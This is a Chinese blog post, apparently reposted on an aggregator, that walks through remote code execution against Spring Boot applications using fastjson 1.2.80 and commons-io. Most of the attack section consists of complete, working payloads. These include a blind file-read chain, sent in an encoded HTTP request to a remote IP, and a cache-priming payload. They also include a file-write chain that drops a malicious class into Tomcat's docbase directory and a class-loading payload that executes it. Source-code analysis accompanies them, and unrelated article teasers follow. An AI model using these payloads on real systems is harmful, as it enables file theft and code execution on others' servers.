spring +fastjson 的 rce

news2024/11/29 1:25:45

前言

众所周知,spring 下是不可以上传 jsp 的木马来 rce 的,一般都是控制加载 class 或者 jar 包来 rce 的,我们的 fastjson 的高版本正好可以完成这些,这里来简单分析一手

环境搭建

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter</artifactId>
</dependency>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.2</version>
</dependency>
<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>org.eclipse.jdt.core</artifactId>
    <version>1.9.22</version>
</dependency>

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.80</version>
</dependency>

大概是这些
然后写一个解析 json 的路由就 ok 了
然后可以直接用
https://github.com/luelueking/CVE-2022-25845-In-Spring

spring 加载 class 原理

一个 spring 运行后大部分类都不会加载了,但是任然有一些特别的
比如 tomcat-docbase

这个原理的话,如果学习过 spi 机制的话,其实还是有点像的
启动 docker 后我们的 tmp 目录一定会有一个
/tomcat-docbase........后面内容是随机的
如果在/tmp/tomcat-docbase....../WEB-INF/classes/
下有我们的恶意 class,那么就会加载它,但是随机目录名给我们利用造成了很大的困难,所以读取文件就非常重要了,那分析分析 fastjson 读取文件是如何来读取的

fastjson 的利用

fastjson 读取文件

本地测试的话大家可以在服务器或者本地放一个文件

root@VM-16-17-ubuntu:/var/www/html# cat 1.txt
flag{yes}

然后使用如下的 paylaod

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "http://ip/1.txt"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes":[102]
        }
      ]
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [1]
      }
    ]
  },
  "b": {"$ref":"$.a.delegate"}
}

然后发送如下的请求

POST /json HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_ID_ANONYMOUS=97269975b0004387b7443950946b97a8; DETECTED_VERSION=5.1.0; MAIN_MENU_COLLAPSE=false
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2141

json=%7b%0a%20%20%22%61%22%3a%20%7b%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%52%65%61%64%65%72%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%20%20%22%72%65%61%64%65%72%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%64%6b%2e%6e%61%73%68%6f%72%6e%2e%61%70%69%2e%73%63%72%69%70%74%69%6e%67%2e%55%52%4c%52%65%61%64%65%72%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%75%72%6c%22%3a%20%22%68%74%74%70%3a%2f%2f%34%39%2e%32%33%32%2e%32%32%32%2e%31%39%35%2f%31%2e%74%78%74%22%0a%20%20%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%75%66%66%65%72%53%69%7a%65%22%3a%20%22%31%30%32%34%22%0a%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%5b%31%30%32%5d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%5d%0a%20%20%20%20%7d%2c%0a%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%20%5b%31%5d%0a%20%20%20%20%20%20%7d%0a%20%20%20%20%5d%0a%20%20%7d%2c%0a%20%20%22%62%22%3a%20%7b%22%24%72%65%66%22%3a%22%24%2e%61%2e%64%65%6c%65%67%61%74%65%22%7d%0a%7d

注意需要编码

回显如下

HTTP/1.1 200 
Content-Type: application/json
Date: Fri, 15 Nov 2024 07:16:59 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 116

{"a":{"bomcharsetName":null,"bom":null},"b":{"bomcharsetName":"UTF-8","bom":{"charsetName":"UTF-8","bytes":"Zg=="}}}

其中 Zg== 解码就是我们读取的内容

然后简单讲讲 paylaod,其实如果你直接发送这个 paylaod 应该是不行的,因为在 fastjson1.2.80 的话不接受 InputStream 的,所以在这之前我们需要先把这个类加入我们的缓存中

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

原理以前已经分析过了,这一段 paylaod 就是为了把 InputStream 加入缓存

然后我们看看读文件的原理

org.apache.commons.io.input.BOMInputStream

这里利用的是它的构造函数和 getBOM
首先是构造方法

public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms)

可以看到是可以传入一个 InputStream 类型的参数 delegete 和一个 ByteOrderMark 类型的数组
主要看下面的代码

public ByteOrderMark getBOM() throws IOException {
        if (this.firstBytes == null) {
            this.fbLength = 0;
            int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();
            this.firstBytes = new int[maxBomSize];

            for(int i = 0; i < this.firstBytes.length; ++i) {
                this.firstBytes[i] = this.in.read(); 
                ++this.fbLength;
                if (this.firstBytes[i] < 0) {
                    break;
                }
            }

            this.byteOrderMark = this.find(); 
            if (this.byteOrderMark != null && !this.include) {
                if (this.byteOrderMark.length() < this.firstBytes.length) {
                    this.fbIndex = this.byteOrderMark.length();
                } else {
                    this.fbLength = 0;
                }
            }
        }

        return this.byteOrderMark;
    }
    private ByteOrderMark find() {
        Iterator var1 = this.boms.iterator();

        ByteOrderMark bom;
        do {
            if (!var1.hasNext()) {
                return null;
            }

            bom = (ByteOrderMark)var1.next();
        } while(!this.matches(bom));

        return bom;
    }
    private boolean matches(ByteOrderMark bom) {
        for(int i = 0; i < bom.length(); ++i) {
            if (bom.get(i) != this.firstBytes[i]) {
                return false;
            }
        }

        return true;
    }

可以看到这里是有一个逻辑的,先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路

然后我们的 delegte 是什么呢?
ReaderInputStream

public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {
        this.reader = reader;
        this.encoder = encoder;
        this.encoderIn = CharBuffer.allocate(bufferSize);
        this.encoderIn.flip();
        this.encoderOut = ByteBuffer.allocate(128);
        this.encoderOut.flip();
    }

这是它的构造方法,是一个 reader,我们就看那个函数的名字,就是把我们的 reader 传为 in 或者 out 的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取 char 的范围,然后 this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个 reader 看到下一个类 URLReader

可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件

可以说和 sql 的盲注一模一样了

这也是为什么我的 paylaod 中 byte 为 102 的原因,对应的是 f,和文件内容 flag...对得上

写文件

这个写文件的 paylaod 比较复杂

必不可少的依赖就是

<dependency>    <groupId>commons-io</groupId>    <artifactId>commons-io</artifactId>    <version>2.7</version></dependency>

几乎写文件的链子都是围绕我们这个依赖展开的,而且这个依赖非常的常见

paylaod

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.AutoCloseInputStream",
    "in": {
      "@type": "org.apache.commons.io.input.TeeInputStream",
      "input": {
        "@type": "org.apache.commons.io.input.CharSequenceInputStream",
        "cs": {
          "@type": "java.lang.String",
          "value": "恶意字节码"
        },
        "charset": "iso-8859-1",
        "bufferSize": 1024
      },
      "branch": {
        "@type": "org.apache.commons.io.output.WriterOutputStream",
        "writer": {
          "@type": "org.apache.commons.io.output.LockableFileWriter",
          "file": "写入路径",
          "charset": "iso-8859-1",
          "append": true
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024,
        "writeImmediately": true
      },
      "closeBranch": true
    }
  },
  "b": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "$ref": "$.a"
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "iso-8859-1"
    },
    "charsetName": "iso-8859-1",
    "bufferSize": 1024
  },
  "c": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "$ref": "$.a"
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "iso-8859-1"
    },
    "charsetName": "iso-8859-1",
    "bufferSize": 1024
  }
}

XmlStreamReader
我们观察他的构造函数

public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding)throws IOException {
  this.defaultEncoding = defaultEncoding;
  BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
  BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
  this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
  this.reader = new InputStreamReader(pis, this.encoding);
  }

重点就是 doHttpStream 方法最终会调用到 InputStream.read 方法

XmlStreamReader.<init>(InputStream, String, boolean, String)
 XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
BOMInputStream.getBOMCharsetName()
 BOMInputStream.getBOM()
BufferedInputStream.read()
 BufferedInputStream.fill()
 InputStream.read(byte[], int, int)

但是我们如果要写文件,需要的是 Output 类型的流,这里就用到了一个神奇的类

TeeInputStream

public TeeInputStream(
            InputStream input, OutputStream branch, boolean closeBranch) {
        super(input);
        this.branch = branch;
        this.closeBranch = closeBranch;
    }

可以看到是接受输出和输入流的,我们看到他的 read 方法

public int read() throws IOException {
        int ch = super.read();
        if (ch != -1) {
            branch.write(ch);
        }
        return ch;
    }

把读取的转化为输出的,那不就是完成了流的转化吗,这样我们就可以利用 input 流来写文件了

通过 TeeInputStream,InputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。

但是我们如果要控制写入的内容,还需要控制读取的内容,我们关注读取的部分
我们需要传入一个 input 对象

利用的是
ReaderInputStream + CharSequenceReader

ReaderInputStream.read--> ReaderInputStream. fillBuffer

private void fillBuffer() throws IOException {
    if (!this.endOfInput && (this.lastCoderResult == null || this.lastCoderResult.isUnderflow())) {
        this.encoderIn.compact();
        int position = this.encoderIn.position();
        int c = this.reader.read(this.encoderIn.array(), position, this.encoderIn.remaining());
        if (c == -1) {
            this.endOfInput = true;
        } else {
            this.encoderIn.position(position + c);
        }

        this.encoderIn.flip();
    }

    this.encoderOut.compact();
    this.lastCoderResult = this.encoder.encode(this.encoderIn, this.encoderOut, this.endOfInput);
    this.encoderOut.flip();
}

CharSequenceReader.read

public int read(char[] array, int offset, int length) {
    if (this.idx >= this.end()) {
        return -1;
    } else {
        Objects.requireNonNull(array, "array");
        if (length >= 0 && offset >= 0 && offset + length <= array.length) {
            int count;
            if (this.charSequence instanceof String) {
                count = Math.min(length, this.end() - this.idx);
                ((String)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
                this.idx += count;
                return count;
            } else if (this.charSequence instanceof StringBuilder) {
                count = Math.min(length, this.end() - this.idx);
                ((StringBuilder)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
                this.idx += count;
                return count;
            } else if (this.charSequence instanceof StringBuffer) {
                count = Math.min(length, this.end() - this.idx);
                ((StringBuffer)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
                this.idx += count;
                return count;
            } else {
                count = 0;

                for(int i = 0; i < length; ++i) {
                    int c = this.read();
                    if (c == -1) {
                        return count;
                    }

                    array[offset + i] = (char)c;
                    ++count;
                }

                return count;
            }
        } else {
            throw new IndexOutOfBoundsException("Array Size=" + array.length + ", offset=" + offset + ", length=" + length);
        }
    }
}

加载 class

这个 payload 就比较简单了

{
  "@type":"java.lang.Exception",
  "@type":"恶意类的名称,带上包名"
}

这是因为第一次类是 Exception,然后会来到 deserialze:77, ThrowableDeserializer (com.alibaba.fastjson.parser.deserializer)

所以再次进入 checkAutoType 的时候 expectClass 不为空

最后

感觉 fastjson 以前的版本的绕过真的是很妙,特别是写文件的 payload,还可以取看看 1.2.68 的那部分,写文件的绕过更是精彩

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2249426.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

jeecgbootvue2重新整理数组数据或者添加合并数组并遍历背景图片或者背景颜色

想要实现处理后端返回数据并处理&#xff0c;添加已有静态数据并遍历快捷菜单背景图 遍历数组并使用代码 需要注意&#xff1a; 1、静态数组的图片url需要的格式为 require(../../assets/b.png) 2、设置遍历背景图的代码必须是: :style"{ background-image: url( item…

15分钟做完一个小程序,腾讯这个工具有点东西

我记得很久之前&#xff0c;我们都在讲什么低代码/无代码平台&#xff0c;这个概念很久了&#xff0c;但是&#xff0c;一直没有很好的落地&#xff0c;整体的效果也不算好。 自从去年 ChatGPT 这类大模型大火以来&#xff0c;各大科技公司也都推出了很多 AI 代码助手&#xff…

jenkins 2.346.1最后一个支持java8的版本搭建

1.jenkins下载 下载地址&#xff1a;Index of /war-stable/2.346.1 2.部署 创建目标文件夹&#xff0c;移动到指定位置 创建一个启动脚本&#xff0c;deploy.sh #!/bin/bash set -eDATE$(date %Y%m%d%H%M) # 基础路径 BASE_PATH/opt/projects/jenkins # 服务名称。同时约定部…

3D建筑模型的 LOD 规范

LOD&#xff08;细节层次&#xff09; 是3D城市建模中用于表示建筑模型精细程度的标准化描述不同的LOD适用于不同的应用场景 LOD是3D建模中重要的分级标准&#xff0c;不同层级适合不同精度和用途的需求。 从LOD0到LOD4&#xff0c;细节逐渐丰富&#xff0c;复杂性和精度也逐…

解锁 Vue 项目中 TSX 配置与应用简单攻略

在 Vue 项目中配置 TSX 写法 在 Vue 项目中使用 TSX 可以为我们带来更灵活、高效的开发体验&#xff0c;特别是在处理复杂组件逻辑和动态渲染时。以下是详细的配置步骤&#xff1a; 一、安装相关依赖 首先&#xff0c;我们需要在命令行中输入以下命令来安装 vitejs/plugin-v…

【UE5 C++课程系列笔记】04——创建可操控的Pawn

根据官方文档创建一个可以控制前后左右移动、旋转视角、缩放视角的Pawn 。 步骤 一、创建Pawn 1. 新建一个C类&#xff0c;继承Pawn类&#xff0c;这里命名为“PawnWithCamera” 2. 在头文件中申明弹簧臂、摄像机和静态网格体组件 3. 在源文件中引入组件所需库 在构造函数…

多目标优化算法——多目标粒子群优化算法(MOPSO)

Handling Multiple Objectives With Particle Swarm Optimization&#xff08;多目标粒子群优化算法&#xff09; 一、摘要&#xff1a; 本文提出了一种将帕累托优势引入粒子群优化算法的方法&#xff0c;使该算法能够处理具有多个目标函数的问题。与目前其他将粒子群算法扩展…

HTML5好看的音乐播放器多种风格(附源码)

文章目录 1.设计来源1.1 音乐播放器风格1效果1.2 音乐播放器风格2效果1.3 音乐播放器风格3效果1.4 音乐播放器风格4效果1.5 音乐播放器风格5效果 2.效果和源码2.1 动态效果2.2 源代码 源码下载万套模板&#xff0c;程序开发&#xff0c;在线开发&#xff0c;在线沟通 作者&…

通用网络安全设备之【防火墙】

概念&#xff1a; 防火墙&#xff08;Firewall&#xff09;&#xff0c;也称防护墙&#xff0c;它是一种位于内部网络与外部网络之间的网络安全防护系统&#xff0c;是一种隔离技术&#xff0c;允许或是限制传输的数据通过。 基于 TCP/IP 协议&#xff0c;主要分为主机型防火…

c++趣味编程玩转物联网:基于树莓派Pico控制有源蜂鸣器

有源蜂鸣器是一种简单高效的声音输出设备&#xff0c;广泛应用于电子报警器、玩具、计时器等领域。在本项目中&#xff0c;我们结合树莓派Pico开发板&#xff0c;通过C代码控制有源蜂鸣器发出“滴滴”声&#xff0c;并解析其中涉及的关键技术点和硬件知识。 一、项目概述 1. 项…

jar包打成exe安装包

打包exe并设置管理员权限 前言打包可执行文件exe准备jre环境运行exe4j并配置 设置执行文件exe管理员权限设置打包工具管理员权限打包exe安装包创建脚本打包 前言 准备安装包&#xff1a; jar包&#xff1a;自己的程序&#xff1b;exe4j&#xff1a;将jar打包可执行的exe&…

NAT:连接私有与公共网络的关键技术(4/10)

一、NAT 的工作原理 NAT 技术的核心功能是将私有 IP 地址转换为公有 IP 地址&#xff0c;使得内部网络中的设备能够与外部互联网通信。其工作原理主要包括私有 IP 地址到公有 IP 地址的转换、端口号映射以及会话表维护这几个步骤。 私有 IP 地址到公有 IP 地址的转换&#xff1…

多模态大型语言模型(MLLM)综述

目录 多模态大语言模型的基础 长短期网络结构(LSTM) 自注意力机制 基于Transformer架构的自然语言处理模型 多模态嵌入概述 多模态嵌入关键步骤 多模态嵌入现状 TF-IDF TF-IDF的概念 TF-IDF的计算公式 TF-IDF的主要思路 TF-IDF的案例 训练和微调多模态大语言模…

学习ASP.NET Core的身份认证(基于Cookie的身份认证3)

用户通过验证后调用HttpContext.SignInAsync函数将用户的身份信息保存在认证Cookie中,以便后续的请求可以验证用户的身份,该函数原型如下所示&#xff0c;其中properties参数的主要属性已在前篇文章中学习&#xff0c;本文学习scheme和principal的意义及用法。 public static …

C++设计模式-模板模式,Template Method

动机&#xff08;Motivation&#xff09; 在软件构建过程中&#xff0c;对于某一项任务&#xff0c;它常常有稳定的整体操作结构&#xff0c;但各个子步骤却有很多改变的需求&#xff0c;或者由于固有的原因&#xff08;比如框架与应用之间的关系&#xff09;而无法和任务的整…

Jenkins流水线 Allure JUnit5 自动化测试

目录 一、Jenkins Allure配置 1.1 安装Allure插件 1.2 安装Allure工具 1.3 配置测试报告路径 1.4 JenkinsFile 二、Jenkins 邮箱配置 2.1 安装Email Extension Plugin插件 2.2 邮箱配置 2.3 JenkinsFile 三、项目pom.xml 配置 3.1 引入allure-junit5依赖 3.2 引入m…

计算机网络 实验七 NAT配置实验

一、实验目的 通过本实验理解网络地址转换的原理和技术&#xff0c;掌握扩展NAT/NAPT设计、配置和测试。 二、实验原理 NAT配置实验的原理主要基于网络地址转换&#xff08;NAT&#xff09;技术&#xff0c;该技术用于将内部私有网络地址转换为外部公有网络地址&#xff0c;从…

shell脚本基础学习_总结篇(完结)

细致观看可以&#xff0c;访问shell脚本学习专栏&#xff0c;对应章节会有配图https://blog.csdn.net/2201_75446043/category_12833287.html?spm1001.2014.3001.5482 导语 一、shell脚本简介 1. 定义&#xff1a; 2. 主要特点&#xff1a; 3. shell脚本的基本结构 4. S…

ACL的原理与配置

ACL技术概述 ACL&#xff1b;访问控制列表 技术背景&#xff1a; 园区重要服务器资源被随意访问&#xff0c;容易泄露机密&#xff0c;造成安全隐患 病毒侵入内网&#xff0c;安全性降低 网络宽带被各类业务随意挤占&#xff0c;服务质量要求高的宽带得不到保障&#xff0…

AWS 新加坡EC2 VPS 性能、线路评测及免费注意事项

原文论坛给你更好的阅读讨论体验&#x1f490;&#xff1a; AWS 新加坡EC2 VPS 性能、线路评测及免费注意事项 - VPS - 波波论坛 引言 对于那些习惯薅“羊毛”的朋友来说&#xff0c; AWS 的 免费套餐 可能已经非常熟悉。这台vps是我用外币卡薅的免费的12个月的机器&#xf…